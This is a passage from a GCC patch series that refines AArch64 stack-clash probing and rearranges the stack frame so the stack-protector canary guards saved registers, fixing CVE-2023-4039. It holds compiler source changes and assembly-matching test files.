++** sub sp, sp, #1024
++** cbnz w0, .*
++** bl g
++** ...
++*/
++int test3(int z) {
++ __uint128_t x = 0;
++ int y[0x400];
++ if (z)
++ {
++ asm volatile ("" :::
++ "x19", "x20", "x21", "x22", "x23", "x24", "x25", "x26");
++ f(0, 0, 0, 0, 0, 0, 0, &y,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x);
++ }
++ g();
++ return 1;
++}
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-20.c b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-20.c
+new file mode 100644
+index 00000000000..690aae8dfd5
+--- /dev/null
++++ b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-20.c
+@@ -0,0 +1,3 @@
++/* { dg-options "-O2 -fstack-protector-all -fstack-clash-protection -fomit-frame-pointer --param stack-clash-protection-guard-size=12 -fsanitize=shadow-call-stack -ffixed-x18" } */
++
++#include "stack-check-prologue-19.c"
+--
+2.34.1
+
+
+From eea1759073e09dd1aefbc9a881601ab1eebfdd18 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:19 +0100
+Subject: [PATCH 16/19] aarch64: Simplify probe of final frame allocation
+
+Previous patches ensured that the final frame allocation only needs
+a probe when the size is strictly greater than 1KiB. It's therefore
+safe to use the normal 1024 probe offset in all cases.
+
+The main motivation for doing this is to simplify the code and
+remove the number of special cases.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_allocate_and_probe_stack_space):
+ Always probe the residual allocation at offset 1024, asserting
+ that that is in range.
+
+gcc/testsuite/
+ * gcc.target/aarch64/stack-check-prologue-17.c: Expect the probe
+ to be at offset 1024 rather than offset 0.
+ * gcc.target/aarch64/stack-check-prologue-18.c: Likewise.
+ * gcc.target/aarch64/stack-check-prologue-19.c: Likewise.
+---
+ gcc/config/aarch64/aarch64.cc | 12 ++++--------
+ .../gcc.target/aarch64/stack-check-prologue-17.c | 2 +-
+ .../gcc.target/aarch64/stack-check-prologue-18.c | 4 ++--
+ .../gcc.target/aarch64/stack-check-prologue-19.c | 4 ++--
+ 4 files changed, 9 insertions(+), 13 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index a765f92329d..37809a306f7 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -9838,16 +9838,12 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ are still safe. */
+ if (residual)
+ {
+- HOST_WIDE_INT residual_probe_offset = guard_used_by_caller;
++ gcc_assert (guard_used_by_caller + byte_sp_alignment <= size);
++
+ /* If we're doing final adjustments, and we've done any full page
+ allocations then any residual needs to be probed. */
+ if (final_adjustment_p && rounded_size != 0)
+ min_probe_threshold = 0;
+- /* If doing a small final adjustment, we always probe at offset 0.
+- This is done to avoid issues when the final adjustment is smaller
+- than the probing offset. */
+- else if (final_adjustment_p && rounded_size == 0)
+- residual_probe_offset = 0;
+
+ aarch64_sub_sp (temp1, temp2, residual, frame_related_p);
+ if (residual >= min_probe_threshold)
+@@ -9858,8 +9854,8 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ HOST_WIDE_INT_PRINT_DEC " bytes, probing will be required."
+ "\n", residual);
+
+- emit_stack_probe (plus_constant (Pmode, stack_pointer_rtx,
+- residual_probe_offset));
++ emit_stack_probe (plus_constant (Pmode, stack_pointer_rtx,
++ guard_used_by_caller));
+ emit_insn (gen_blockage ());
+ }
+ }
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-17.c b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-17.c
+index 0d8a25d73a2..f0ec1389771 100644
+--- a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-17.c
++++ b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-17.c
+@@ -33,7 +33,7 @@ int test1(int z) {
+ ** ...
+ ** str x30, \[sp\]
+ ** sub sp, sp, #1040
+-** str xzr, \[sp\]
++** str xzr, \[sp, #?1024\]
+ ** cbnz w0, .*
+ ** bl g
+ ** ...
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-18.c b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-18.c
+index 82447d20fff..6383bec5ebc 100644
+--- a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-18.c
++++ b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-18.c
+@@ -9,7 +9,7 @@ void g();
+ ** ...
+ ** str x30, \[sp\]
+ ** sub sp, sp, #4064
+-** str xzr, \[sp\]
++** str xzr, \[sp, #?1024\]
+ ** cbnz w0, .*
+ ** bl g
+ ** ...
+@@ -50,7 +50,7 @@ int test1(int z) {
+ ** ...
+ ** str x30, \[sp\]
+ ** sub sp, sp, #1040
+-** str xzr, \[sp\]
++** str xzr, \[sp, #?1024\]
+ ** cbnz w0, .*
+ ** bl g
+ ** ...
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-19.c b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-19.c
+index 73ac3e4e4eb..562039b5e9b 100644
+--- a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-19.c
++++ b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-19.c
+@@ -9,7 +9,7 @@ void g();
+ ** ...
+ ** str x30, \[sp\]
+ ** sub sp, sp, #4064
+-** str xzr, \[sp\]
++** str xzr, \[sp, #?1024\]
+ ** cbnz w0, .*
+ ** bl g
+ ** ...
+@@ -50,7 +50,7 @@ int test1(int z) {
+ ** ...
+ ** str x30, \[sp\]
+ ** sub sp, sp, #1040
+-** str xzr, \[sp\]
++** str xzr, \[sp, #?1024\]
+ ** cbnz w0, .*
+ ** bl g
+ ** ...
+--
+2.34.1
+
+
+From 96d85187c3b9c9a7efc2fd698c3d452e80d8aa47 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:20 +0100
+Subject: [PATCH 17/19] aarch64: Explicitly record probe registers in frame
+ info
+
+The stack frame is currently divided into three areas:
+
+A: the area above the hard frame pointer
+B: the SVE saves below the hard frame pointer
+C: the outgoing arguments
+
+If the stack frame is allocated in one chunk, the allocation needs a
+probe if the frame size is >= guard_size - 1KiB. In addition, if the
+function is not a leaf function, it must probe an address no more than
+1KiB above the outgoing SP. We ensured the second condition by
+
+(1) using single-chunk allocations for non-leaf functions only if
+ the link register save slot is within 512 bytes of the bottom
+ of the frame; and
+
+(2) using the link register save as a probe (meaning, for instance,
+ that it can't be individually shrink wrapped)
+
+If instead the stack is allocated in multiple chunks, then:
+
+* an allocation involving only the outgoing arguments (C above) requires
+ a probe if the allocation size is > 1KiB
+
+* any other allocation requires a probe if the allocation size
+ is >= guard_size - 1KiB
+
+* second and subsequent allocations require the previous allocation
+ to probe at the bottom of the allocated area, regardless of the size
+ of that previous allocation
+
+The final point means that, unlike for single allocations,
+it can be necessary to have both a non-SVE register probe and
+an SVE register probe. For example:
+
+* allocate A, probe using a non-SVE register save
+* allocate B, probe using an SVE register save
+* allocate C
+
+The non-SVE register used in this case was again the link register.
+It was previously used even if the link register save slot was some
+bytes above the bottom of the non-SVE register saves, but an earlier
+patch avoided that by putting the link register save slot first.
+
+As a belt-and-braces fix, this patch explicitly records which
+probe registers we're using and allows the non-SVE probe to be
+whichever register comes first (as for SVE).
+
+The patch also avoids unnecessary probes in sve/pcs/stack_clash_3.c.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame::sve_save_and_probe)
+ (aarch64_frame::hard_fp_save_and_probe): New fields.
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Initialize them.
+ Rather than asserting that a leaf function saves LR, instead assert
+ that a leaf function saves something.
+ (aarch64_get_separate_components): Prevent the chosen probe
+ registers from being individually shrink-wrapped.
+ (aarch64_allocate_and_probe_stack_space): Remove workaround for
+ probe registers that aren't at the bottom of the previous allocation.
+
+gcc/testsuite/
+ * gcc.target/aarch64/sve/pcs/stack_clash_3.c: Avoid redundant probes.
+---
+ gcc/config/aarch64/aarch64.cc | 68 +++++++++++++++----
+ gcc/config/aarch64/aarch64.h | 8 +++
+ .../aarch64/sve/pcs/stack_clash_3.c | 6 +-
+ 3 files changed, 64 insertions(+), 18 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 37809a306f7..6c59c39a639 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8471,15 +8471,11 @@ aarch64_layout_frame (void)
+ && !crtl->abi->clobbers_full_reg_p (regno))
+ frame.reg_offset[regno] = SLOT_REQUIRED;
+
+- /* With stack-clash, LR must be saved in non-leaf functions. The saving of
+- LR counts as an implicit probe which allows us to maintain the invariant
+- described in the comment at expand_prologue. */
+- gcc_assert (crtl->is_leaf
+- || maybe_ne (frame.reg_offset[R30_REGNUM], SLOT_NOT_REQUIRED));
+
+ poly_int64 offset = crtl->outgoing_args_size;
+ gcc_assert (multiple_p (offset, STACK_BOUNDARY / BITS_PER_UNIT));
+ frame.bytes_below_saved_regs = offset;
++ frame.sve_save_and_probe = INVALID_REGNUM;
+
+ /* Now assign stack slots for the registers. Start with the predicate
+ registers, since predicate LDR and STR have a relatively small
+@@ -8487,6 +8483,8 @@ aarch64_layout_frame (void)
+ for (regno = P0_REGNUM; regno <= P15_REGNUM; regno++)
+ if (known_eq (frame.reg_offset[regno], SLOT_REQUIRED))
+ {
++ if (frame.sve_save_and_probe == INVALID_REGNUM)
++ frame.sve_save_and_probe = regno;
+ frame.reg_offset[regno] = offset;
+ offset += BYTES_PER_SVE_PRED;
+ }
+@@ -8524,6 +8522,8 @@ aarch64_layout_frame (void)
+ for (regno = V0_REGNUM; regno <= V31_REGNUM; regno++)
+ if (known_eq (frame.reg_offset[regno], SLOT_REQUIRED))
+ {
++ if (frame.sve_save_and_probe == INVALID_REGNUM)
++ frame.sve_save_and_probe = regno;
+ frame.reg_offset[regno] = offset;
+ offset += vector_save_size;
+ }
+@@ -8533,10 +8533,18 @@ aarch64_layout_frame (void)
+ frame.below_hard_fp_saved_regs_size = offset - frame.bytes_below_saved_regs;
+ bool saves_below_hard_fp_p
+ = maybe_ne (frame.below_hard_fp_saved_regs_size, 0);
++ gcc_assert (!saves_below_hard_fp_p
++ || (frame.sve_save_and_probe != INVALID_REGNUM
++ && known_eq (frame.reg_offset[frame.sve_save_and_probe],
++ frame.bytes_below_saved_regs)));
++
+ frame.bytes_below_hard_fp = offset;
++ frame.hard_fp_save_and_probe = INVALID_REGNUM;
+
+ auto allocate_gpr_slot = [&](unsigned int regno)
+ {
++ if (frame.hard_fp_save_and_probe == INVALID_REGNUM)
++ frame.hard_fp_save_and_probe = regno;
+ frame.reg_offset[regno] = offset;
+ if (frame.wb_push_candidate1 == INVALID_REGNUM)
+ frame.wb_push_candidate1 = regno;
+@@ -8570,6 +8578,8 @@ aarch64_layout_frame (void)
+ for (regno = V0_REGNUM; regno <= V31_REGNUM; regno++)
+ if (known_eq (frame.reg_offset[regno], SLOT_REQUIRED))
+ {
++ if (frame.hard_fp_save_and_probe == INVALID_REGNUM)
++ frame.hard_fp_save_and_probe = regno;
+ /* If there is an alignment gap between integer and fp callee-saves,
+ allocate the last fp register to it if possible. */
+ if (regno == last_fp_reg
+@@ -8593,6 +8603,17 @@ aarch64_layout_frame (void)
+ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
+
+ frame.saved_regs_size = offset - frame.bytes_below_saved_regs;
++ gcc_assert (known_eq (frame.saved_regs_size,
++ frame.below_hard_fp_saved_regs_size)
++ || (frame.hard_fp_save_and_probe != INVALID_REGNUM
++ && known_eq (frame.reg_offset[frame.hard_fp_save_and_probe],
++ frame.bytes_below_hard_fp)));
++
++ /* With stack-clash, a register must be saved in non-leaf functions.
++ The saving of the bottommost register counts as an implicit probe,
++ which allows us to maintain the invariant described in the comment
++ at expand_prologue. */
++ gcc_assert (crtl->is_leaf || maybe_ne (frame.saved_regs_size, 0));
+
+ offset += get_frame_size ();
+ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
+@@ -8723,6 +8744,25 @@ aarch64_layout_frame (void)
+ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+
++ /* The frame is allocated in pieces, with each non-final piece
++ including a register save at offset 0 that acts as a probe for
++ the following piece. In addition, the save of the bottommost register
++ acts as a probe for callees and allocas. Roll back any probes that
++ aren't needed.
++
++ A probe isn't needed if it is associated with the final allocation
++ (including callees and allocas) that happens before the epilogue is
++ executed. */
++ if (crtl->is_leaf
++ && !cfun->calls_alloca
++ && known_eq (frame.final_adjust, 0))
++ {
++ if (maybe_ne (frame.sve_callee_adjust, 0))
++ frame.sve_save_and_probe = INVALID_REGNUM;
++ else
++ frame.hard_fp_save_and_probe = INVALID_REGNUM;
++ }
++
+ /* Make sure the individual adjustments add up to the full frame size. */
+ gcc_assert (known_eq (frame.initial_adjust
+ + frame.callee_adjust
+@@ -9354,13 +9394,6 @@ aarch64_get_separate_components (void)
+
+ poly_int64 offset = frame.reg_offset[regno];
+
+- /* If the register is saved in the first SVE save slot, we use
+- it as a stack probe for -fstack-clash-protection. */
+- if (flag_stack_clash_protection
+- && maybe_ne (frame.below_hard_fp_saved_regs_size, 0)
+- && known_eq (offset, frame.bytes_below_saved_regs))
+- continue;
+-
+ /* Get the offset relative to the register we'll use. */
+ if (frame_pointer_needed)
+ offset -= frame.bytes_below_hard_fp;
+@@ -9395,6 +9428,13 @@ aarch64_get_separate_components (void)
+
+ bitmap_clear_bit (components, LR_REGNUM);
+ bitmap_clear_bit (components, SP_REGNUM);
++ if (flag_stack_clash_protection)
++ {
++ if (frame.sve_save_and_probe != INVALID_REGNUM)
++ bitmap_clear_bit (components, frame.sve_save_and_probe);
++ if (frame.hard_fp_save_and_probe != INVALID_REGNUM)
++ bitmap_clear_bit (components, frame.hard_fp_save_and_probe);
++ }
+
+ return components;
+ }
+@@ -9931,8 +9971,8 @@ aarch64_epilogue_uses (int regno)
+ When probing is needed, we emit a probe at the start of the prologue
+ and every PARAM_STACK_CLASH_PROTECTION_GUARD_SIZE bytes thereafter.
+
+- We have to track how much space has been allocated and the only stores
+- to the stack we track as implicit probes are the FP/LR stores.
++ We can also use register saves as probes. These are stored in
++ sve_save_and_probe and hard_fp_save_and_probe.
+
+ For outgoing arguments we probe if the size is larger than 1KB, such that
+ the ABI specified buffer is maintained for the next callee.
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index c8becb098c8..fbfb73545ba 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -863,6 +863,14 @@ struct GTY (()) aarch64_frame
+ This is the register they should use. */
+ unsigned spare_pred_reg;
+
++ /* An SVE register that is saved below the hard frame pointer and that acts
++ as a probe for later allocations, or INVALID_REGNUM if none. */
++ unsigned sve_save_and_probe;
++
++ /* A register that is saved at the hard frame pointer and that acts
++ as a probe for later allocations, or INVALID_REGNUM if none. */
++ unsigned hard_fp_save_and_probe;
++
+ bool laid_out;
+
+ /* True if shadow call stack should be enabled for the current function. */
+diff --git a/gcc/testsuite/gcc.target/aarch64/sve/pcs/stack_clash_3.c b/gcc/testsuite/gcc.target/aarch64/sve/pcs/stack_clash_3.c
+index 3e01ec36c3a..3530a0d504b 100644
+--- a/gcc/testsuite/gcc.target/aarch64/sve/pcs/stack_clash_3.c
++++ b/gcc/testsuite/gcc.target/aarch64/sve/pcs/stack_clash_3.c
+@@ -11,11 +11,10 @@
+ ** mov x11, sp
+ ** ...
+ ** sub sp, sp, x13
+-** str p4, \[sp\]
+ ** cbz w0, [^\n]*
++** str p4, \[sp\]
+ ** ...
+ ** ptrue p0\.b, all
+-** ldr p4, \[sp\]
+ ** addvl sp, sp, #1
+ ** ldr x24, \[sp\], 32
+ ** ret
+@@ -39,13 +38,12 @@ test_1 (int n)
+ ** mov x11, sp
+ ** ...
+ ** sub sp, sp, x13
+-** str p4, \[sp\]
+ ** cbz w0, [^\n]*
++** str p4, \[sp\]
+ ** str p5, \[sp, #1, mul vl\]
+ ** str p6, \[sp, #2, mul vl\]
+ ** ...
+ ** ptrue p0\.b, all
+-** ldr p4, \[sp\]
+ ** addvl sp, sp, #1
+ ** ldr x24, \[sp\], 32
+ ** ret
+--
+2.34.1
+
+
+From 56df065080950bb30dda9c260f71be54269bdda5 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:20 +0100
+Subject: [PATCH 18/19] aarch64: Remove below_hard_fp_saved_regs_size
+
+After previous patches, it's no longer necessary to store
+saved_regs_size and below_hard_fp_saved_regs_size in the frame info.
+All measurements instead use the top or bottom of the frame as
+reference points.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame::saved_regs_size)
+ (aarch64_frame::below_hard_fp_saved_regs_size): Delete.
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Update accordingly.
+---
+ gcc/config/aarch64/aarch64.cc | 45 ++++++++++++++++-------------------
+ gcc/config/aarch64/aarch64.h | 7 ------
+ 2 files changed, 21 insertions(+), 31 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 6c59c39a639..b95e805a8cc 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8530,9 +8530,8 @@ aarch64_layout_frame (void)
+
+ /* OFFSET is now the offset of the hard frame pointer from the bottom
+ of the callee save area. */
+- frame.below_hard_fp_saved_regs_size = offset - frame.bytes_below_saved_regs;
+- bool saves_below_hard_fp_p
+- = maybe_ne (frame.below_hard_fp_saved_regs_size, 0);
++ auto below_hard_fp_saved_regs_size = offset - frame.bytes_below_saved_regs;
++ bool saves_below_hard_fp_p = maybe_ne (below_hard_fp_saved_regs_size, 0);
+ gcc_assert (!saves_below_hard_fp_p
+ || (frame.sve_save_and_probe != INVALID_REGNUM
+ && known_eq (frame.reg_offset[frame.sve_save_and_probe],
+@@ -8602,9 +8601,8 @@ aarch64_layout_frame (void)
+
+ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
+
+- frame.saved_regs_size = offset - frame.bytes_below_saved_regs;
+- gcc_assert (known_eq (frame.saved_regs_size,
+- frame.below_hard_fp_saved_regs_size)
++ auto saved_regs_size = offset - frame.bytes_below_saved_regs;
++ gcc_assert (known_eq (saved_regs_size, below_hard_fp_saved_regs_size)
+ || (frame.hard_fp_save_and_probe != INVALID_REGNUM
+ && known_eq (frame.reg_offset[frame.hard_fp_save_and_probe],
+ frame.bytes_below_hard_fp)));
+@@ -8613,7 +8611,7 @@ aarch64_layout_frame (void)
+ The saving of the bottommost register counts as an implicit probe,
+ which allows us to maintain the invariant described in the comment
+ at expand_prologue. */
+- gcc_assert (crtl->is_leaf || maybe_ne (frame.saved_regs_size, 0));
++ gcc_assert (crtl->is_leaf || maybe_ne (saved_regs_size, 0));
+
+ offset += get_frame_size ();
+ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
+@@ -8670,7 +8668,7 @@ aarch64_layout_frame (void)
+
+ HOST_WIDE_INT const_size, const_below_saved_regs, const_above_fp;
+ HOST_WIDE_INT const_saved_regs_size;
+- if (known_eq (frame.saved_regs_size, 0))
++ if (known_eq (saved_regs_size, 0))
+ frame.initial_adjust = frame.frame_size;
+ else if (frame.frame_size.is_constant (&const_size)
+ && const_size < max_push_offset
+@@ -8683,7 +8681,7 @@ aarch64_layout_frame (void)
+ frame.callee_adjust = const_size;
+ }
+ else if (frame.bytes_below_saved_regs.is_constant (&const_below_saved_regs)
+- && frame.saved_regs_size.is_constant (&const_saved_regs_size)
++ && saved_regs_size.is_constant (&const_saved_regs_size)
+ && const_below_saved_regs + const_saved_regs_size < 512
+ /* We could handle this case even with data below the saved
+ registers, provided that that data left us with valid offsets
+@@ -8702,8 +8700,7 @@ aarch64_layout_frame (void)
+ frame.initial_adjust = frame.frame_size;
+ }
+ else if (saves_below_hard_fp_p
+- && known_eq (frame.saved_regs_size,
+- frame.below_hard_fp_saved_regs_size))
++ && known_eq (saved_regs_size, below_hard_fp_saved_regs_size))
+ {
+ /* Frame in which all saves are SVE saves:
+
+@@ -8725,7 +8722,7 @@ aarch64_layout_frame (void)
+ [save SVE registers relative to SP]
+ sub sp, sp, bytes_below_saved_regs */
+ frame.callee_adjust = const_above_fp;
+- frame.sve_callee_adjust = frame.below_hard_fp_saved_regs_size;
++ frame.sve_callee_adjust = below_hard_fp_saved_regs_size;
+ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+ else
+@@ -8740,7 +8737,7 @@ aarch64_layout_frame (void)
+ [save SVE registers relative to SP]
+ sub sp, sp, bytes_below_saved_regs */
+ frame.initial_adjust = frame.bytes_above_hard_fp;
+- frame.sve_callee_adjust = frame.below_hard_fp_saved_regs_size;
++ frame.sve_callee_adjust = below_hard_fp_saved_regs_size;
+ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+
+@@ -9936,17 +9933,17 @@ aarch64_epilogue_uses (int regno)
+ | local variables | <-- frame_pointer_rtx
+ | |
+ +-------------------------------+
+- | padding | \
+- +-------------------------------+ |
+- | callee-saved registers | | frame.saved_regs_size
+- +-------------------------------+ |
+- | LR' | |
+- +-------------------------------+ |
+- | FP' | |
+- +-------------------------------+ |<- hard_frame_pointer_rtx (aligned)
+- | SVE vector registers | | \
+- +-------------------------------+ | | below_hard_fp_saved_regs_size
+- | SVE predicate registers | / /
++ | padding |
++ +-------------------------------+
++ | callee-saved registers |
++ +-------------------------------+
++ | LR' |
++ +-------------------------------+
++ | FP' |
++ +-------------------------------+ <-- hard_frame_pointer_rtx (aligned)
++ | SVE vector registers |
++ +-------------------------------+
++ | SVE predicate registers |
+ +-------------------------------+
+ | dynamic allocation |
+ +-------------------------------+
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index fbfb73545ba..cfeaf4657ab 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -777,18 +777,11 @@ struct GTY (()) aarch64_frame
+ STACK_BOUNDARY. */
+ HOST_WIDE_INT saved_varargs_size;
+
+- /* The size of the callee-save registers with a slot in REG_OFFSET. */
+- poly_int64 saved_regs_size;
+-
+ /* The number of bytes between the bottom of the static frame (the bottom
+ of the outgoing arguments) and the bottom of the register save area.
+ This value is always a multiple of STACK_BOUNDARY. */
+ poly_int64 bytes_below_saved_regs;
+
+- /* The size of the callee-save registers with a slot in REG_OFFSET that
+- are saved below the hard frame pointer. */
+- poly_int64 below_hard_fp_saved_regs_size;
+-
+ /* The number of bytes between the bottom of the static frame (the bottom
+ of the outgoing arguments) and the hard frame pointer. This value is
+ always a multiple of STACK_BOUNDARY. */
+--
+2.34.1
+
+
+From b96e66fd4ef3e36983969fb8cdd1956f551a074b Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:21 +0100
+Subject: [PATCH 19/19] aarch64: Make stack smash canary protect saved
+ registers
+
+AArch64 normally puts the saved registers near the bottom of the frame,
+immediately above any dynamic allocations. But this means that a
+stack-smash attack on those dynamic allocations could overwrite the
+saved registers without needing to reach as far as the stack smash
+canary.
+
+The same thing could also happen for variable-sized arguments that are
+passed by value, since those are allocated before a call and popped on
+return.
+
+This patch avoids that by putting the locals (and thus the canary) below
+the saved registers when stack smash protection is active.
+
+The patch fixes CVE-2023-4039.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_save_regs_above_locals_p):
+ New function.
+ (aarch64_layout_frame): Use it to decide whether locals should
+ go above or below the saved registers.
+ (aarch64_expand_prologue): Update stack layout comment.
+ Emit a stack tie after the final adjustment.
+
+gcc/testsuite/
+ * gcc.target/aarch64/stack-protector-8.c: New test.
+ * gcc.target/aarch64/stack-protector-9.c: Likewise.
+---
+ gcc/config/aarch64/aarch64.cc | 46 +++++++--
+ .../gcc.target/aarch64/stack-protector-8.c | 95 +++++++++++++++++++
+ .../gcc.target/aarch64/stack-protector-9.c | 33 +++++++
+ 3 files changed, 168 insertions(+), 6 deletions(-)
+ create mode 100644 gcc/testsuite/gcc.target/aarch64/stack-protector-8.c
+ create mode 100644 gcc/testsuite/gcc.target/aarch64/stack-protector-9.c
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index b95e805a8cc..389c0e29353 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8394,6 +8394,20 @@ aarch64_needs_frame_chain (void)
+ return aarch64_use_frame_pointer;
+ }
+
++/* Return true if the current function should save registers above
++ the locals area, rather than below it. */
++
++static bool
++aarch64_save_regs_above_locals_p ()
++{
++ /* When using stack smash protection, make sure that the canary slot
++ comes between the locals and the saved registers. Otherwise,
++ it would be possible for a carefully sized smash attack to change
++ the saved registers (particularly LR and FP) without reaching the
++ canary. */
++ return crtl->stack_protect_guard;
++}
++
+ /* Mark the registers that need to be saved by the callee and calculate
+ the size of the callee-saved registers area and frame record (both FP
+ and LR may be omitted). */
+@@ -8405,6 +8419,7 @@ aarch64_layout_frame (void)
+ poly_int64 vector_save_size = GET_MODE_SIZE (vector_save_mode);
+ bool frame_related_fp_reg_p = false;
+ aarch64_frame &frame = cfun->machine->frame;
++ poly_int64 top_of_locals = -1;
+
+ frame.emit_frame_chain = aarch64_needs_frame_chain ();
+
+@@ -8471,9 +8486,16 @@ aarch64_layout_frame (void)
+ && !crtl->abi->clobbers_full_reg_p (regno))
+ frame.reg_offset[regno] = SLOT_REQUIRED;
+
++ bool regs_at_top_p = aarch64_save_regs_above_locals_p ();
+
+ poly_int64 offset = crtl->outgoing_args_size;
+ gcc_assert (multiple_p (offset, STACK_BOUNDARY / BITS_PER_UNIT));
++ if (regs_at_top_p)
++ {
++ offset += get_frame_size ();
++ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
++ top_of_locals = offset;
++ }
+ frame.bytes_below_saved_regs = offset;
+ frame.sve_save_and_probe = INVALID_REGNUM;
+
+@@ -8613,15 +8635,18 @@ aarch64_layout_frame (void)
+ at expand_prologue. */
+ gcc_assert (crtl->is_leaf || maybe_ne (saved_regs_size, 0));
+
+- offset += get_frame_size ();
+- offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
+- auto top_of_locals = offset;
+-
++ if (!regs_at_top_p)
++ {
++ offset += get_frame_size ();
++ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
++ top_of_locals = offset;
++ }
+ offset += frame.saved_varargs_size;
+ gcc_assert (multiple_p (offset, STACK_BOUNDARY / BITS_PER_UNIT));
+ frame.frame_size = offset;
+
+ frame.bytes_above_hard_fp = frame.frame_size - frame.bytes_below_hard_fp;
++ gcc_assert (known_ge (top_of_locals, 0));
+ frame.bytes_above_locals = frame.frame_size - top_of_locals;
+
+ frame.initial_adjust = 0;
+@@ -9930,10 +9955,10 @@ aarch64_epilogue_uses (int regno)
+ | for register varargs |
+ | |
+ +-------------------------------+
+- | local variables | <-- frame_pointer_rtx
++ | local variables (1) | <-- frame_pointer_rtx
+ | |
+ +-------------------------------+
+- | padding |
++ | padding (1) |
+ +-------------------------------+
+ | callee-saved registers |
+ +-------------------------------+
+@@ -9945,6 +9970,10 @@ aarch64_epilogue_uses (int regno)
+ +-------------------------------+
+ | SVE predicate registers |
+ +-------------------------------+
++ | local variables (2) |
++ +-------------------------------+
++ | padding (2) |
++ +-------------------------------+
+ | dynamic allocation |
+ +-------------------------------+
+ | padding |
+@@ -9954,6 +9983,9 @@ aarch64_epilogue_uses (int regno)
+ +-------------------------------+
+ | | <-- stack_pointer_rtx (aligned)
+
++ The regions marked (1) and (2) are mutually exclusive. (2) is used
++ when aarch64_save_regs_above_locals_p is true.
++
+ Dynamic stack allocations via alloca() decrease stack_pointer_rtx
+ but leave frame_pointer_rtx and hard_frame_pointer_rtx
+ unchanged.
+@@ -10149,6 +10181,8 @@ aarch64_expand_prologue (void)
+ gcc_assert (known_eq (bytes_below_sp, final_adjust));
+ aarch64_allocate_and_probe_stack_space (tmp1_rtx, tmp0_rtx, final_adjust,
+ !frame_pointer_needed, true);
++ if (emit_frame_chain && maybe_ne (final_adjust, 0))
++ emit_insn (gen_stack_tie (stack_pointer_rtx, hard_frame_pointer_rtx));
+ }
+
+ /* Return TRUE if we can use a simple_return insn.
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-protector-8.c b/gcc/testsuite/gcc.target/aarch64/stack-protector-8.c
+new file mode 100644
+index 00000000000..e71d820e365
+--- /dev/null
++++ b/gcc/testsuite/gcc.target/aarch64/stack-protector-8.c
+@@ -0,0 +1,95 @@
++/* { dg-options " -O -fstack-protector-strong -mstack-protector-guard=sysreg -mstack-protector-guard-reg=tpidr2_el0 -mstack-protector-guard-offset=16" } */
++/* { dg-final { check-function-bodies "**" "" } } */
++
++void g(void *);
++__SVBool_t *h(void *);
++
++/*
++** test1:
++** sub sp, sp, #288
++** stp x29, x30, \[sp, #?272\]
++** add x29, sp, #?272
